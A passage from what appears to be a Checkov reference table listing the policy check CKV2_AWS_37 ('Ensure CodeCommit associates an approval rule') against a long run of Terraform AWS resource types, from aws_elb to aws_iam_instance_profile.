aws_elastictranscoder_preset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1174 | CKV2_AWS_37 | resource | aws_elb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1175 | CKV2_AWS_37 | resource | aws_elb_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1176 | CKV2_AWS_37 | resource | aws_emr_block_public_access_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1177 | CKV2_AWS_37 | resource | aws_emr_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1178 | CKV2_AWS_37 | resource | aws_emr_instance_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1179 | CKV2_AWS_37 | resource | aws_emr_instance_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1180 | CKV2_AWS_37 | resource | aws_emr_managed_scaling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1181 | CKV2_AWS_37 | resource | aws_emr_security_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1182 | CKV2_AWS_37 | resource | aws_emr_studio | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1183 | CKV2_AWS_37 | resource | aws_emr_studio_session_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1184 | CKV2_AWS_37 | resource | aws_emrcontainers_job_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1185 | CKV2_AWS_37 | resource | aws_emrcontainers_virtual_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1186 | CKV2_AWS_37 | resource | aws_emrserverless_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1187 | CKV2_AWS_37 | resource | aws_evidently_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1188 | CKV2_AWS_37 | resource | aws_evidently_launch | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1189 | CKV2_AWS_37 | resource | aws_evidently_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1190 | CKV2_AWS_37 | resource | aws_evidently_segment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1191 | CKV2_AWS_37 | resource | aws_finspace_kx_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1192 | CKV2_AWS_37 | resource | aws_finspace_kx_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1193 | CKV2_AWS_37 | resource | aws_finspace_kx_dataview | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1194 | CKV2_AWS_37 | resource | aws_finspace_kx_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1195 | CKV2_AWS_37 | resource | aws_finspace_kx_scaling_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1196 | CKV2_AWS_37 | resource | aws_finspace_kx_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1197 | CKV2_AWS_37 | resource | aws_finspace_kx_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1198 | CKV2_AWS_37 | resource | aws_fis_experiment_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1199 | CKV2_AWS_37 | resource | aws_flow_log | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1200 | CKV2_AWS_37 | resource | aws_fms_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1201 | CKV2_AWS_37 | resource | aws_fms_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1202 | CKV2_AWS_37 | resource | aws_fms_resource_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1203 | CKV2_AWS_37 | resource | aws_fsx_backup | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1204 | CKV2_AWS_37 | resource | aws_fsx_data_repository_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1205 | CKV2_AWS_37 | resource | aws_fsx_file_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1206 | CKV2_AWS_37 | resource | aws_fsx_lustre_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1207 | CKV2_AWS_37 | resource | aws_fsx_ontap_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1208 | CKV2_AWS_37 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1209 | CKV2_AWS_37 | resource | aws_fsx_ontap_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1210 | CKV2_AWS_37 | resource | aws_fsx_openzfs_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1211 | CKV2_AWS_37 | resource | aws_fsx_openzfs_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1212 | CKV2_AWS_37 | resource | aws_fsx_openzfs_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1213 | CKV2_AWS_37 | resource | aws_fsx_windows_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1214 | CKV2_AWS_37 | resource | aws_gamelift_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1215 | CKV2_AWS_37 | resource | aws_gamelift_build | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1216 | CKV2_AWS_37 | resource | aws_gamelift_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1217 | CKV2_AWS_37 | resource | aws_gamelift_game_server_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1218 | CKV2_AWS_37 | resource | aws_gamelift_game_session_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1219 | CKV2_AWS_37 | resource | aws_gamelift_script | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1220 | CKV2_AWS_37 | resource | aws_glacier_vault | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1221 | CKV2_AWS_37 | resource | aws_glacier_vault_lock | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1222 | CKV2_AWS_37 | resource | aws_globalaccelerator_accelerator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1223 | CKV2_AWS_37 | resource | aws_globalaccelerator_cross_account_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1224 | CKV2_AWS_37 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1225 | CKV2_AWS_37 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1226 | CKV2_AWS_37 | resource | aws_globalaccelerator_custom_routing_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1227 | CKV2_AWS_37 | resource | aws_globalaccelerator_endpoint_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1228 | CKV2_AWS_37 | resource | aws_globalaccelerator_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1229 | CKV2_AWS_37 | resource | aws_glue_catalog_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1230 | CKV2_AWS_37 | resource | aws_glue_catalog_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1231 | CKV2_AWS_37 | resource | aws_glue_catalog_table_optimizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1232 | CKV2_AWS_37 | resource | aws_glue_classifier | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1233 | CKV2_AWS_37 | resource | aws_glue_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1234 | CKV2_AWS_37 | resource | aws_glue_crawler | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1235 | CKV2_AWS_37 | resource | aws_glue_data_catalog_encryption_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1236 | CKV2_AWS_37 | resource | aws_glue_data_quality_ruleset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1237 | CKV2_AWS_37 | resource | aws_glue_dev_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1238 | CKV2_AWS_37 | resource | aws_glue_job | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1239 | CKV2_AWS_37 | resource | aws_glue_ml_transform | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1240 | CKV2_AWS_37 | resource | aws_glue_partition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1241 | CKV2_AWS_37 | resource | aws_glue_partition_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1242 | CKV2_AWS_37 | resource | aws_glue_registry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1243 | CKV2_AWS_37 | resource | aws_glue_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1244 | CKV2_AWS_37 | resource | aws_glue_schema | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1245 | CKV2_AWS_37 | resource | aws_glue_security_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1246 | CKV2_AWS_37 | resource | aws_glue_trigger | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1247 | CKV2_AWS_37 | resource | aws_glue_user_defined_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1248 | CKV2_AWS_37 | resource | aws_glue_workflow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1249 | CKV2_AWS_37 | resource | aws_grafana_license_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1250 | CKV2_AWS_37 | resource | aws_grafana_role_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1251 | CKV2_AWS_37 | resource | aws_grafana_workspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1252 | CKV2_AWS_37 | resource | aws_grafana_workspace_api_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1253 | CKV2_AWS_37 | resource | aws_grafana_workspace_saml_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1254 | CKV2_AWS_37 | resource | aws_grafana_workspace_service_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1255 | CKV2_AWS_37 | resource | aws_grafana_workspace_service_account_token | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1256 | CKV2_AWS_37 | resource | aws_guardduty_detector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1257 | CKV2_AWS_37 | resource | aws_guardduty_detector_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1258 | CKV2_AWS_37 | resource | aws_guardduty_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1259 | CKV2_AWS_37 | resource | aws_guardduty_invite_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1260 | CKV2_AWS_37 | resource | aws_guardduty_ipset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1261 | CKV2_AWS_37 | resource | aws_guardduty_malware_protection_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1262 | CKV2_AWS_37 | resource | aws_guardduty_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1263 | CKV2_AWS_37 | resource | aws_guardduty_member_detector_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1264 | CKV2_AWS_37 | resource | aws_guardduty_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1265 | CKV2_AWS_37 | resource | aws_guardduty_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1266 | CKV2_AWS_37 | resource | aws_guardduty_organization_configuration_feature | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1267 | CKV2_AWS_37 | resource | aws_guardduty_publishing_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1268 | CKV2_AWS_37 | resource | aws_guardduty_threatintelset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1269 | CKV2_AWS_37 | resource | aws_iam_access_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1270 | CKV2_AWS_37 | resource | aws_iam_account_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1271 | CKV2_AWS_37 | resource | aws_iam_account_password_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1272 | CKV2_AWS_37 | resource | aws_iam_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1273 | CKV2_AWS_37 | resource | aws_iam_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1274 | CKV2_AWS_37 | resource | aws_iam_group_policies_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1275 | CKV2_AWS_37 | resource | aws_iam_group_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1276 | CKV2_AWS_37 | resource | aws_iam_group_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1277 | CKV2_AWS_37 | resource | aws_iam_group_policy_attachments_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1278 | CKV2_AWS_37 | resource | aws_iam_instance_profile | Ensure CodeCommit associates an approval rule | Terraform | 